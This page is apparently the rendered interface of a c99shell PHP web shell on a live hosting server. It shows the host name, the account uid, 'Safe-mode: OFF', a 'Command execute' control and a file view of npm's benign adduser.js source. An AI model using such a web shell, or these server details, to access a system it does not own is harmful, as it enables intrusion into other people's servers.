Software: Apache. PHP/7.3.33 uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) Safe-mode: OFF (not secure) /usr/lib/node_modules/npm/lib/ drwxr-xr-x |
Viewing file: Select action/file-type: module.exports = adduser const log = require('npmlog') const npm = require('./npm.js') const usage = require('./utils/usage') let crypto try { crypto = require('crypto') } catch (ex) {} adduser.usage = usage( 'adduser', 'npm adduser [--registry=url] [--scope=@orgname] [--auth-type=legacy] [--always-auth]' ) function adduser (args, cb) { if (!crypto) { return cb(new Error( 'You must compile node with ssl support to use the adduser feature' )) } let registry = npm.config.get('registry') const scope = npm.config.get('scope') const creds = npm.config.getCredentialsByURI(npm.config.get('registry')) if (scope) { const scopedRegistry = npm.config.get(scope + ':registry') const cliRegistry = npm.config.get('registry', 'cli') if (scopedRegistry && !cliRegistry) registry = scopedRegistry } log.disableProgress() let auth try { auth = require('./auth/' + npm.config.get('auth-type')) } catch (e) { return cb(new Error('no such auth module')) } auth.login(creds, registry, scope, function (err, newCreds) { if (err) return cb(err) npm.config.del('_token', 'user') // prevent legacy pollution if (scope) npm.config.set(scope + ':registry', registry, 'user') npm.config.setCredentialsByURI(registry, newCreds) npm.config.save('user', cb) }) } |
:: Command execute :: | |
--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0118 ]-- |